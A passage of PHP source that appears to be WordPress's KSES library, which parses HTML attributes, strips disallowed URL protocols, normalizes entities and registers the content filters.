		} elseif ( $required ) {
			// This attribute was required, but didn't pass the check. The entire tag is not allowed.
			return $stripped_tag;
		}
	}

	// If some required attributes weren't set, the entire tag is not allowed.
	if ( ! empty( $required_attrs ) ) {
		return $stripped_tag;
	}

	// Remove any "<" or ">" characters.
	$attr2 = preg_replace( '/[<>]/', '', $attr2 );

	return "<$element$attr2$xhtml_slash>";
}

/**
 * Determines whether an attribute is allowed.
 *
 * @since 4.2.3
 * @since 5.0.0 Added support for `data-*` wildcard attributes.
 *
 * @param string $name         The attribute name. Passed by reference. Returns empty string when not allowed.
 * @param string $value        The attribute value. Passed by reference. Returns a filtered value.
 * @param string $whole        The `name=value` input. Passed by reference. Returns filtered input.
 * @param string $vless        Whether the attribute is valueless. Use 'y' or 'n'.
 * @param string $element      The name of the element to which this attribute belongs.
 * @param array  $allowed_html The full list of allowed elements and attributes.
 * @return bool Whether or not the attribute is allowed.
 */
function wp_kses_attr_check( &$name, &$value, &$whole, $vless, $element, $allowed_html ) {
	$name_low    = strtolower( $name );
	$element_low = strtolower( $element );

	if ( ! isset( $allowed_html[ $element_low ] ) ) {
		$name  = '';
		$value = '';
		$whole = '';
		return false;
	}

	$allowed_attr = $allowed_html[ $element_low ];

	if ( ! isset( $allowed_attr[ $name_low ] ) || '' === $allowed_attr[ $name_low ] ) {
		/*
		 * Allow `data-*` attributes.
		 *
		 * When specifying `$allowed_html`, the attribute name should be set as
		 * `data-*` (not to be mixed with the HTML 4.0 `data` attribute, see
		 * https://www.w3.org/TR/html40/struct/objects.html#adef-data).
		 *
		 * Note: the attribute name should only contain `A-Za-z0-9_-` chars.
		 */
		if ( str_starts_with( $name_low, 'data-' ) && ! empty( $allowed_attr['data-*'] )
			&& preg_match( '/^data-[a-z0-9_-]+$/', $name_low, $match )
		) {
			/*
			 * Add the whole attribute name to the allowed attributes and set any restrictions
			 * for the `data-*` attribute values for the current element.
			 */
			$allowed_attr[ $match[0] ] = $allowed_attr['data-*'];
		} else {
			$name  = '';
			$value = '';
			$whole = '';
			return false;
		}
	}

	if ( 'style' === $name_low ) {
		$new_value = safecss_filter_attr( $value );

		if ( empty( $new_value ) ) {
			$name  = '';
			$value = '';
			$whole = '';
			return false;
		}

		$whole = str_replace( $value, $new_value, $whole );
		$value = $new_value;
	}

	if ( is_array( $allowed_attr[ $name_low ] ) ) {
		// There are some checks.
		foreach ( $allowed_attr[ $name_low ] as $currkey => $currval ) {
			if ( ! wp_kses_check_attr_val( $value, $vless, $currkey, $currval ) ) {
				$name  = '';
				$value = '';
				$whole = '';
				return false;
			}
		}
	}

	return true;
}

/**
 * Builds an attribute list from string containing attributes.
 *
 * This function does a lot of work. It parses an attribute list into an array
 * with attribute data, and tries to do the right thing even if it gets weird
 * input. It will add quotes around attribute values that don't have any quotes
 * or apostrophes around them, to make it easier to produce HTML code that will
 * conform to W3C's HTML specification. It will also remove bad URL protocols
 * from attribute values. It also reduces duplicate attributes by using the
 * attribute defined first (`foo='bar' foo='baz'` will result in `foo='bar'`).
 *
 * @since 1.0.0
 *
 * @param string   $attr              Attribute list from HTML element to closing HTML element tag.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @return array[] Array of attribute information after parsing.
 */
function wp_kses_hair( $attr, $allowed_protocols ) {
	$attrarr  = array();
	$mode     = 0;
	$attrname = '';
	$uris     = wp_kses_uri_attributes();

	// Loop through the whole attribute list.

	while ( strlen( $attr ) !== 0 ) {
		$working = 0; // Was the last operation successful?

		switch ( $mode ) {
			case 0:
				if ( preg_match( '/^([_a-zA-Z][-_a-zA-Z0-9:.]*)/', $attr, $match ) ) {
					$attrname = $match[1];
					$working  = 1;
					$mode     = 1;
					$attr     = preg_replace( '/^[_a-zA-Z][-_a-zA-Z0-9:.]*/', '', $attr );
				}

				break;

			case 1:
				if ( preg_match( '/^\s*=\s*/', $attr ) ) { // Equals sign.
					$working = 1;
					$mode    = 2;
					$attr    = preg_replace( '/^\s*=\s*/', '', $attr );
					break;
				}

				if ( preg_match( '/^\s+/', $attr ) ) { // Valueless.
					$working = 1;
					$mode    = 0;

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => '',
							'whole' => $attrname,
							'vless' => 'y',
						);
					}

					$attr = preg_replace( '/^\s+/', '', $attr );
				}

				break;

			case 2:
				if ( preg_match( '%^"([^"]*)"(\s+|/?$)%', $attr, $match ) ) {
					// "value"
					$thisval = $match[1];
					if ( in_array( strtolower( $attrname ), $uris, true ) ) {
						$thisval = wp_kses_bad_protocol( $thisval, $allowed_protocols );
					}

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => $thisval,
							'whole' => "$attrname=\"$thisval\"",
							'vless' => 'n',
						);
					}

					$working = 1;
					$mode    = 0;
					$attr    = preg_replace( '/^"[^"]*"(\s+|$)/', '', $attr );
					break;
				}

				if ( preg_match( "%^'([^']*)'(\s+|/?$)%", $attr, $match ) ) {
					// 'value'
					$thisval = $match[1];
					if ( in_array( strtolower( $attrname ), $uris, true ) ) {
						$thisval = wp_kses_bad_protocol( $thisval, $allowed_protocols );
					}

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => $thisval,
							'whole' => "$attrname='$thisval'",
							'vless' => 'n',
						);
					}

					$working = 1;
					$mode    = 0;
					$attr    = preg_replace( "/^'[^']*'(\s+|$)/", '', $attr );
					break;
				}

				if ( preg_match( "%^([^\s\"']+)(\s+|/?$)%", $attr, $match ) ) {
					// value
					$thisval = $match[1];
					if ( in_array( strtolower( $attrname ), $uris, true ) ) {
						$thisval = wp_kses_bad_protocol( $thisval, $allowed_protocols );
					}

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => $thisval,
							'whole' => "$attrname=\"$thisval\"",
							'vless' => 'n',
						);
					}

					// We add quotes to conform to W3C's HTML spec.
					$working = 1;
					$mode    = 0;
					$attr    = preg_replace( "%^[^\s\"']+(\s+|$)%", '', $attr );
				}

				break;
		} // End switch.

		if ( 0 === $working ) { // Not well-formed, remove and try again.
			$attr = wp_kses_html_error( $attr );
			$mode = 0;
		}
	} // End while.

	if ( 1 === $mode && false === array_key_exists( $attrname, $attrarr ) ) {
		/*
		 * Special case, for when the attribute list ends with a valueless
		 * attribute like "selected".
		 */
		$attrarr[ $attrname ] = array(
			'name'  => $attrname,
			'value' => '',
			'whole' => $attrname,
			'vless' => 'y',
		);
	}

	return $attrarr;
}

/**
 * Finds all attributes of an HTML element.
 *
 * Does not modify input.  May return "evil" output.
 *
 * Based on `wp_kses_split2()` and `wp_kses_attr()`.
 *
 * @since 4.2.3
 *
 * @param string $element HTML element.
 * @return array|false List of attributes found in the element. Returns false on failure.
 */
function wp_kses_attr_parse( $element ) {
	$valid = preg_match( '%^(<\s*)(/\s*)?([a-zA-Z0-9]+\s*)([^>]*)(>?)$%', $element, $matches );
	if ( 1 !== $valid ) {
		return false;
	}

	$begin  = $matches[1];
	$slash  = $matches[2];
	$elname = $matches[3];
	$attr   = $matches[4];
	$end    = $matches[5];

	if ( '' !== $slash ) {
		// Closing elements do not get parsed.
		return false;
	}

	// Is there a closing XHTML slash at the end of the attributes?
	if ( 1 === preg_match( '%\s*/\s*$%', $attr, $matches ) ) {
		$xhtml_slash = $matches[0];
		$attr        = substr( $attr, 0, -strlen( $xhtml_slash ) );
	} else {
		$xhtml_slash = '';
	}

	// Split it.
	$attrarr = wp_kses_hair_parse( $attr );
	if ( false === $attrarr ) {
		return false;
	}

	// Make sure all input is returned by adding front and back matter.
	array_unshift( $attrarr, $begin . $slash . $elname );
	array_push( $attrarr, $xhtml_slash . $end );

	return $attrarr;
}

/**
 * Builds an attribute list from string containing attributes.
 *
 * Does not modify input.  May return "evil" output.
 * In case of unexpected input, returns false instead of stripping things.
 *
 * Based on `wp_kses_hair()` but does not return a multi-dimensional array.
 *
 * @since 4.2.3
 *
 * @param string $attr Attribute list from HTML element to closing HTML element tag.
 * @return array|false List of attributes found in $attr. Returns false on failure.
 */
function wp_kses_hair_parse( $attr ) {
	if ( '' === $attr ) {
		return array();
	}

	$regex =
		'(?:
				[_a-zA-Z][-_a-zA-Z0-9:.]* # Attribute name.
			|
				\[\[?[^\[\]]+\]\]?        # Shortcode in the name position implies unfiltered_html.
		)
		(?:                               # Attribute value.
			\s*=\s*                       # All values begin with "=".
			(?:
				"[^"]*"                   # Double-quoted.
			|
				\'[^\']*\'                # Single-quoted.
			|
				[^\s"\']+                 # Non-quoted.
				(?:\s|$)                  # Must have a space.
			)
		|
			(?:\s|$)                      # If attribute has no value, space is required.
		)
		\s*                               # Trailing space is optional except as mentioned above.
		';

	/*
	 * Although it is possible to reduce this procedure to a single regexp,
	 * we must run that regexp twice to get exactly the expected result.
	 *
	 * Note: do NOT remove the `x` modifiers as they are essential for the above regex!
	 */

	$validation = "/^($regex)+$/x";
	$extraction = "/$regex/x";

	if ( 1 === preg_match( $validation, $attr ) ) {
		preg_match_all( $extraction, $attr, $attrarr );
		return $attrarr[0];
	} else {
		return false;
	}
}

/**
 * Performs different checks for attribute values.
 *
 * The currently implemented checks are "maxlen", "minlen", "maxval", "minval",
 * and "valueless".
 *
 * @since 1.0.0
 *
 * @param string $value      Attribute value.
 * @param string $vless      Whether the attribute is valueless. Use 'y' or 'n'.
 * @param string $checkname  What $checkvalue is checking for.
 * @param mixed  $checkvalue What constraint the value should pass.
 * @return bool Whether check passes.
 */
function wp_kses_check_attr_val( $value, $vless, $checkname, $checkvalue ) {
	$ok = true;

	switch ( strtolower( $checkname ) ) {
		case 'maxlen':
			/*
			 * The maxlen check makes sure that the attribute value has a length not
			 * greater than the given value. This can be used to avoid Buffer Overflows
			 * in WWW clients and various Internet servers.
			 */

			if ( strlen( $value ) > $checkvalue ) {
				$ok = false;
			}
			break;

		case 'minlen':
			/*
			 * The minlen check makes sure that the attribute value has a length not
			 * smaller than the given value.
			 */

			if ( strlen( $value ) < $checkvalue ) {
				$ok = false;
			}
			break;

		case 'maxval':
			/*
			 * The maxval check does two things: it checks that the attribute value is
			 * an integer from 0 and up, without an excessive amount of zeroes or
			 * whitespace (to avoid Buffer Overflows). It also checks that the attribute
			 * value is not greater than the given value.
			 * This check can be used to avoid Denial of Service attacks.
			 */

			if ( ! preg_match( '/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value ) ) {
				$ok = false;
			}
			if ( $value > $checkvalue ) {
				$ok = false;
			}
			break;

		case 'minval':
			/*
			 * The minval check makes sure that the attribute value is a positive integer,
			 * and that it is not smaller than the given value.
			 */

			if ( ! preg_match( '/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value ) ) {
				$ok = false;
			}
			if ( $value < $checkvalue ) {
				$ok = false;
			}
			break;

		case 'valueless':
			/*
			 * The valueless check makes sure if the attribute has a value
			 * (like `<a href="blah">`) or not (`<option selected>`). If the given value
			 * is a "y" or a "Y", the attribute must not have a value.
			 * If the given value is an "n" or an "N", the attribute must have a value.
			 */

			if ( strtolower( $checkvalue ) !== $vless ) {
				$ok = false;
			}
			break;

		case 'values':
			/*
			 * The values check is used when you want to make sure that the attribute
			 * has one of the given values.
			 */

			if ( false === array_search( strtolower( $value ), $checkvalue, true ) ) {
				$ok = false;
			}
			break;

		case 'value_callback':
			/*
			 * The value_callback check is used when you want to make sure that the attribute
			 * value is accepted by the callback function.
			 */

			if ( ! call_user_func( $checkvalue, $value ) ) {
				$ok = false;
			}
			break;
	} // End switch.

	return $ok;
}

/**
 * Sanitizes a string and removed disallowed URL protocols.
 *
 * This function removes all non-allowed protocols from the beginning of the
 * string. It ignores whitespace and the case of the letters, and it does
 * understand HTML entities. It does its work recursively, so it won't be
 * fooled by a string like `javascript:javascript:alert(57)`.
 *
 * @since 1.0.0
 *
 * @param string   $content           Content to filter bad protocols from.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @return string Filtered content.
 */
function wp_kses_bad_protocol( $content, $allowed_protocols ) {
	$content = wp_kses_no_null( $content );

	// Short-circuit if the string starts with `https://` or `http://`. Most common cases.
	if (
		( str_starts_with( $content, 'https://' ) && in_array( 'https', $allowed_protocols, true ) ) ||
		( str_starts_with( $content, 'http://' ) && in_array( 'http', $allowed_protocols, true ) )
	) {
		return $content;
	}

	$iterations = 0;

	do {
		$original_content = $content;
		$content          = wp_kses_bad_protocol_once( $content, $allowed_protocols );
	} while ( $original_content !== $content && ++$iterations < 6 );

	if ( $original_content !== $content ) {
		return '';
	}

	return $content;
}

/**
 * Removes any invalid control characters in a text string.
 *
 * Also removes any instance of the `\0` string.
 *
 * @since 1.0.0
 *
 * @param string $content Content to filter null characters from.
 * @param array  $options Set 'slash_zero' => 'keep' when '\0' is allowed. Default is 'remove'.
 * @return string Filtered content.
 */
function wp_kses_no_null( $content, $options = null ) {
	if ( ! isset( $options['slash_zero'] ) ) {
		$options = array( 'slash_zero' => 'remove' );
	}

	$content = preg_replace( '/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $content );
	if ( 'remove' === $options['slash_zero'] ) {
		$content = preg_replace( '/\\\\+0+/', '', $content );
	}

	return $content;
}

/**
 * Strips slashes from in front of quotes.
 *
 * This function changes the character sequence `\"` to just `"`. It leaves all other
 * slashes alone. The quoting from `preg_replace(//e)` requires this.
 *
 * @since 1.0.0
 *
 * @param string $content String to strip slashes from.
 * @return string Fixed string with quoted slashes.
 */
function wp_kses_stripslashes( $content ) {
	return preg_replace( '%\\\\"%', '"', $content );
}

/**
 * Converts the keys of an array to lowercase.
 *
 * @since 1.0.0
 *
 * @param array $inarray Unfiltered array.
 * @return array Fixed array with all lowercase keys.
 */
function wp_kses_array_lc( $inarray ) {
	$outarray = array();

	foreach ( (array) $inarray as $inkey => $inval ) {
		$outkey              = strtolower( $inkey );
		$outarray[ $outkey ] = array();

		foreach ( (array) $inval as $inkey2 => $inval2 ) {
			$outkey2                         = strtolower( $inkey2 );
			$outarray[ $outkey ][ $outkey2 ] = $inval2;
		}
	}

	return $outarray;
}

/**
 * Handles parsing errors in `wp_kses_hair()`.
 *
 * The general plan is to remove everything to and including some whitespace,
 * but it deals with quotes and apostrophes as well.
 *
 * @since 1.0.0
 *
 * @param string $attr
 * @return string
 */
function wp_kses_html_error( $attr ) {
	return preg_replace( '/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $attr );
}

/**
 * Sanitizes content from bad protocols and other characters.
 *
 * This function searches for URL protocols at the beginning of the string, while
 * handling whitespace and HTML entities.
 *
 * @since 1.0.0
 *
 * @param string   $content           Content to check for bad protocols.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @param int      $count             Depth of call recursion to this function.
 * @return string Sanitized content.
 */
function wp_kses_bad_protocol_once( $content, $allowed_protocols, $count = 1 ) {
	$content  = preg_replace( '/(&#0*58(?![;0-9])|&#x0*3a(?![;a-f0-9]))/i', '$1;', $content );
	$content2 = preg_split( '/:|&#0*58;|&#x0*3a;|&colon;/i', $content, 2 );

	if ( isset( $content2[1] ) && ! preg_match( '%/\?%', $content2[0] ) ) {
		$content  = trim( $content2[1] );
		$protocol = wp_kses_bad_protocol_once2( $content2[0], $allowed_protocols );
		if ( 'feed:' === $protocol ) {
			if ( $count > 2 ) {
				return '';
			}
			$content = wp_kses_bad_protocol_once( $content, $allowed_protocols, ++$count );
			if ( empty( $content ) ) {
				return $content;
			}
		}
		$content = $protocol . $content;
	}

	return $content;
}

/**
 * Callback for `wp_kses_bad_protocol_once()` regular expression.
 *
 * This function processes URL protocols, checks to see if they're in the
 * list of allowed protocols or not, and returns different data depending
 * on the answer.
 *
 * @access private
 * @ignore
 * @since 1.0.0
 *
 * @param string   $scheme            URI scheme to check against the list of allowed protocols.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @return string Sanitized content.
 */
function wp_kses_bad_protocol_once2( $scheme, $allowed_protocols ) {
	$scheme = wp_kses_decode_entities( $scheme );
	$scheme = preg_replace( '/\s/', '', $scheme );
	$scheme = wp_kses_no_null( $scheme );
	$scheme = strtolower( $scheme );

	$allowed = false;
	foreach ( (array) $allowed_protocols as $one_protocol ) {
		if ( strtolower( $one_protocol ) === $scheme ) {
			$allowed = true;
			break;
		}
	}

	if ( $allowed ) {
		return "$scheme:";
	} else {
		return '';
	}
}

/**
 * Converts and fixes HTML entities.
 *
 * This function normalizes HTML entities. It will convert `AT&T` to the correct
 * `AT&amp;T`, `&#00058;` to `&#058;`, `&#XYZZY;` to `&amp;#XYZZY;` and so on.
 *
 * When `$context` is set to 'xml', HTML entities are converted to their code points.  For
 * example, `AT&T&hellip;&#XYZZY;` is converted to `AT&amp;T…&amp;#XYZZY;`.
 *
 * @since 1.0.0
 * @since 5.5.0 Added `$context` parameter.
 *
 * @param string $content Content to normalize entities.
 * @param string $context Context for normalization. Can be either 'html' or 'xml'.
 *                        Default 'html'.
 * @return string Content with normalized entities.
 */
function wp_kses_normalize_entities( $content, $context = 'html' ) {
	// Disarm all entities by converting & to &amp;
	$content = str_replace( '&', '&amp;', $content );

	// Change back the allowed entities in our list of allowed entities.
	if ( 'xml' === $context ) {
		$content = preg_replace_callback( '/&amp;([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_xml_named_entities', $content );
	} else {
		$content = preg_replace_callback( '/&amp;([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_named_entities', $content );
	}
	$content = preg_replace_callback( '/&amp;#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $content );
	$content = preg_replace_callback( '/&amp;#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $content );

	return $content;
}

/**
 * Callback for `wp_kses_normalize_entities()` regular expression.
 *
 * This function only accepts valid named entity references, which are finite,
 * case-sensitive, and highly scrutinized by HTML and XML validators.
 *
 * @since 3.0.0
 *
 * @global array $allowedentitynames
 *
 * @param array $matches preg_replace_callback() matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_named_entities( $matches ) {
	global $allowedentitynames;

	if ( empty( $matches[1] ) ) {
		return '';
	}

	$i = $matches[1];
	return ( ! in_array( $i, $allowedentitynames, true ) ) ? "&amp;$i;" : "&$i;";
}

/**
 * Callback for `wp_kses_normalize_entities()` regular expression.
 *
 * This function only accepts valid named entity references, which are finite,
 * case-sensitive, and highly scrutinized by XML validators.  HTML named entity
 * references are converted to their code points.
 *
 * @since 5.5.0
 *
 * @global array $allowedentitynames
 * @global array $allowedxmlentitynames
 *
 * @param array $matches preg_replace_callback() matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_xml_named_entities( $matches ) {
	global $allowedentitynames, $allowedxmlentitynames;

	if ( empty( $matches[1] ) ) {
		return '';
	}

	$i = $matches[1];

	if ( in_array( $i, $allowedxmlentitynames, true ) ) {
		return "&$i;";
	} elseif ( in_array( $i, $allowedentitynames, true ) ) {
		return html_entity_decode( "&$i;", ENT_HTML5 );
	}

	return "&amp;$i;";
}

/**
 * Callback for `wp_kses_normalize_entities()` regular expression.
 *
 * This function helps `wp_kses_normalize_entities()` to only accept 16-bit
 * values and nothing more for `&#number;` entities.
 *
 * @access private
 * @ignore
 * @since 1.0.0
 *
 * @param array $matches `preg_replace_callback()` matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_normalize_entities2( $matches ) {
	if ( empty( $matches[1] ) ) {
		return '';
	}

	$i = $matches[1];

	if ( valid_unicode( $i ) ) {
		$i = str_pad( ltrim( $i, '0' ), 3, '0', STR_PAD_LEFT );
		$i = "&#$i;";
	} else {
		$i = "&amp;#$i;";
	}

	return $i;
}

/**
 * Callback for `wp_kses_normalize_entities()` for regular expression.
 *
 * This function helps `wp_kses_normalize_entities()` to only accept valid Unicode
 * numeric entities in hex form.
 *
 * @since 2.7.0
 * @access private
 * @ignore
 *
 * @param array $matches `preg_replace_callback()` matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_normalize_entities3( $matches ) {
	if ( empty( $matches[1] ) ) {
		return '';
	}

	$hexchars = $matches[1];

	return ( ! valid_unicode( hexdec( $hexchars ) ) ) ? "&amp;#x$hexchars;" : '&#x' . ltrim( $hexchars, '0' ) . ';';
}

/**
 * Determines if a Unicode codepoint is valid.
 *
 * @since 2.7.0
 *
 * @param int $i Unicode codepoint.
 * @return bool Whether or not the codepoint is a valid Unicode codepoint.
 */
function valid_unicode( $i ) {
	$i = (int) $i;

	return ( 0x9 === $i || 0xa === $i || 0xd === $i ||
		( 0x20 <= $i && $i <= 0xd7ff ) ||
		( 0xe000 <= $i && $i <= 0xfffd ) ||
		( 0x10000 <= $i && $i <= 0x10ffff )
	);
}

/**
 * Converts all numeric HTML entities to their named counterparts.
 *
 * This function decodes numeric HTML entities (`&#65;` and `&#x41;`).
 * It doesn't do anything with named entities like `&auml;`, but we don't
 * need them in the allowed URL protocols system anyway.
 *
 * @since 1.0.0
 *
 * @param string $content Content to change entities.
 * @return string Content after decoded entities.
 */
function wp_kses_decode_entities( $content ) {
	$content = preg_replace_callback( '/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $content );
	$content = preg_replace_callback( '/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $content );

	return $content;
}

/**
 * Regex callback for `wp_kses_decode_entities()`.
 *
 * @since 2.9.0
 * @access private
 * @ignore
 *
 * @param array $matches preg match
 * @return string
 */
function _wp_kses_decode_entities_chr( $matches ) {
	return chr( $matches[1] );
}

/**
 * Regex callback for `wp_kses_decode_entities()`.
 *
 * @since 2.9.0
 * @access private
 * @ignore
 *
 * @param array $matches preg match
 * @return string
 */
function _wp_kses_decode_entities_chr_hexdec( $matches ) {
	return chr( hexdec( $matches[1] ) );
}

/**
 * Sanitize content with allowed HTML KSES rules.
 *
 * This function expects slashed data.
 *
 * @since 1.0.0
 *
 * @param string $data Content to filter, expected to be escaped with slashes.
 * @return string Filtered content.
 */
function wp_filter_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}

/**
 * Sanitize content with allowed HTML KSES rules.
 *
 * This function expects unslashed data.
 *
 * @since 2.9.0
 *
 * @param string $data Content to filter, expected to not be escaped.
 * @return string Filtered content.
 */
function wp_kses_data( $data ) {
	return wp_kses( $data, current_filter() );
}

/**
 * Sanitizes content for allowed HTML tags for post content.
 *
 * Post content refers to the page contents of the 'post' type and not `$_POST`
 * data from forms.
 *
 * This function expects slashed data.
 *
 * @since 2.0.0
 *
 * @param string $data Post content to filter, expected to be escaped with slashes.
 * @return string Filtered post content with allowed HTML tags and attributes intact.
 */
function wp_filter_post_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}

/**
 * Sanitizes global styles user content removing unsafe rules.
 *
 * @since 5.9.0
 *
 * @param string $data Post content to filter.
 * @return string Filtered post content with unsafe rules removed.
 */
function wp_filter_global_styles_post( $data ) {
	$decoded_data        = json_decode( wp_unslash( $data ), true );
	$json_decoding_error = json_last_error();
	if (
		JSON_ERROR_NONE === $json_decoding_error &&
		is_array( $decoded_data ) &&
		isset( $decoded_data['isGlobalStylesUserThemeJSON'] ) &&
		$decoded_data['isGlobalStylesUserThemeJSON']
	) {
		unset( $decoded_data['isGlobalStylesUserThemeJSON'] );

		$data_to_encode = WP_Theme_JSON::remove_insecure_properties( $decoded_data, 'custom' );

		$data_to_encode['isGlobalStylesUserThemeJSON'] = true;
		return wp_slash( wp_json_encode( $data_to_encode ) );
	}
	return $data;
}

/**
 * Sanitizes content for allowed HTML tags for post content.
 *
 * Post content refers to the page contents of the 'post' type and not `$_POST`
 * data from forms.
 *
 * This function expects unslashed data.
 *
 * @since 2.9.0
 *
 * @param string $data Post content to filter.
 * @return string Filtered post content with allowed HTML tags and attributes intact.
 */
function wp_kses_post( $data ) {
	return wp_kses( $data, 'post' );
}

/**
 * Navigates through an array, object, or scalar, and sanitizes content for
 * allowed HTML tags for post content.
 *
 * @since 4.4.2
 *
 * @see map_deep()
 *
 * @param mixed $data The array, object, or scalar value to inspect.
 * @return mixed The filtered content.
 */
function wp_kses_post_deep( $data ) {
	return map_deep( $data, 'wp_kses_post' );
}

/**
 * Strips all HTML from a text string.
 *
 * This function expects slashed data.
 *
 * @since 2.1.0
 *
 * @param string $data Content to strip all HTML from.
 * @return string Filtered content without any HTML.
 */
function wp_filter_nohtml_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), 'strip' ) );
}

/**
 * Adds all KSES input form content filters.
 *
 * All hooks have default priority. The `wp_filter_kses()` function is added to
 * the 'pre_comment_content' and 'title_save_pre' hooks.
 *
 * The `wp_filter_post_kses()` function is added to the 'content_save_pre',
 * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
 *
 * @since 2.0.0
 */
function kses_init_filters() {
	// Normal filtering.
	add_filter( 'title_save_pre', 'wp_filter_kses' );

	// Comment filtering.
	if ( current_user_can( 'unfiltered_html' ) ) {
		add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
	} else {
		add_filter( 'pre_comment_content', 'wp_filter_kses' );
	}

	// Global Styles filtering: Global Styles filters should be executed before normal post_kses HTML filters.
	add_filter( 'content_save_pre', 'wp_filter_global_styles_post', 9 );
	add_filter( 'content_filtered_save_pre', 'wp_filter_global_styles_post', 9 );

	// Post filtering.
	add_filter( 'content_save_pre', 'wp_filter_post_kses' );
	add_filter( 'excerpt_save_pre', 'wp_filter_post_kses' );
	add_filter( 'content_filtered_save_pre', 'wp_filter_post_kses' );
}

/**
 * Removes all KSES input form content filters.
 *
 * A quick procedural method to removing all of the filters that KSES uses for
 * content in WordPress Loop.
 *
 * Does not remove the `kses_init()` function from {@see 'init'} hook (priority is
 * default). Also does not remove `kses_init()` function from {@see 'set_current_user'}
 * hook (priority is also default).
 *
 * @since 2.0.6
 */
function kses_remove_filters() {
	// Normal filtering.
	remove_filter( 'title_save_pre', 'wp_filter_kses' );

	// Comment filtering.
	remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
	remove_filter( 'pre_comment_content', 'wp_filter_kses' );

	// Global Styles filtering.
	remove_filter( 'content_save_pre', 'wp_filter_global_styles_post', 9 );
	remove_filter( 'content_filtered_save_pre', 'wp_filter_global_styles_post', 9 );

	// Post filtering.
	remove_filter( 'content_save_pre', 'wp_filter_post_kses' );
	remove_filter( 'excerpt_save_pre', 'wp_filter_post_kses' );
	remove_filter( 'content_filtered_save_pre', 'wp_filter_post_kses' );
}

/**
 * Sets up most of the KSES filters for input form content.
 *
 * First removes all of the KSES filters in case the current user does not need
 * to have KSES filter the content. If the user does not have `unfiltered_html`
 * capability, then KSES filters are added.
 *
 * @since 2.0.0
 */
function kses_init() {
	kses_remove_filters();

	if ( ! current_user_can( 'unfiltered_html' ) ) {
		kses_init_filters();
	}
}

/**
 * Filters an inline style attribute and removes disallowed rules.
 *
 * @since 2.8.1
 * @since 4.4.0 Added support for `min-height`, `max-height`, `min-width`, and `max-width`.
 * @since 4.6.0 Added support for `list-style-type`.
 * @since 5.0.0 Added support for `background-image`.
 * @since 5.1.0 Added support for `text-transform`.
 * @since 5.2.0 Added support for `background-position` and `grid-template-columns`.
 * @since 5.3.0 Added support for `grid`, `flex` and `column` layout properties.
 *              Extended `background-*` support for individual properties.
 * @since 5.3.1 Added support for gradient backgrounds.
 * @since 5.7.1 Added support for `object-position`.
 * @since 5.8.0 Added support for `calc()` and `var()` values.
 * @since 6.1.0 Added support for `min()`, `max()`, `minmax()`, `clamp()`,
 *              nested `var()` values, and assigning values to CSS variables.
 *              Added support for `object-fit`, `gap`, `column-gap`, `row-gap`, and `flex-wrap`.
 *              Extended `margin-*` and `padding-*` support for logical properties.
 * @since 6.2.0 Added support for `aspect-ratio`, `position`, `top`, `right`, `bottom`, `left`,
 *              and `z-index` CSS properties.
 * @since 6.3.0 Extended support for `filter` to accept a URL and added support for repeat().
 *              Added support for `box-shadow`.
 * @since 6.4.0 Added support for `writing-mode`.
 * @since 6.5.0 Added support for `background-repeat`.
 * @since 6.6.0 Added support for `grid-column`, `grid-row`, and `container-type`.
 *
 * @param string $css        A string of CSS rules.
 * @param string $deprecated Not used.
 * @return string Filtered string of CSS rules.
 */
function safecss_filter_attr( $css, $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented.
	}

	$css = wp_kses_no_null( $css );
	$css = str_replace( array( "\n", "\r", "\t" ), '', $css );

	$allowed_protocols = wp_allowed_protocols();

	$css_array = explode( ';', trim( $css ) );

	/**
	 * Filters the list of allowed CSS attributes.
	 *
	 * @since 2.8.1
	 *
	 * @param string[] $attr Array of allowed CSS attributes.
	 */
	$allowed_attr = apply_filters(
		'safe_style_css',
		array(
			'background',
			'background-color',
			'background-image',
			'background-position',
			'background-repeat',
			'background-size',
			'background-attachment',
			'background-blend-mode',

			'border',
			'border-radius',
			'border-width',
			'border-color',
			'border-style',
			'border-right',
			'border-right-color',
			'border-right-style',
			'border-right-width',
			'border-bottom',
			'border-bottom-color',
			'border-bottom-left-radius',
			'border-bottom-right-radius',
			'border-bottom-style',
			'border-bottom-width',
			'border-bottom-right-radius',
			'border-bottom-left-radius',
			'border-left',
			'border-left-color',
			'border-left-style',
			'border-left-width',
			'border-top',
			'border-top-color',
			'border-top-left-radius',
			'border-top-right-radius',
			'border-top-style',
			'border-top-width',
			'border-top-left-radius',
			'border-top-right-radius',

			'border-spacing',
			'border-collapse',
			'caption-side',

			'columns',
			'column-count',
			'column-fill',
			'column-gap',
			'column-rule',
			'column-span',
			'column-width',

			'color',
			'filter',
			'font',
			'font-family',
			'font-size',
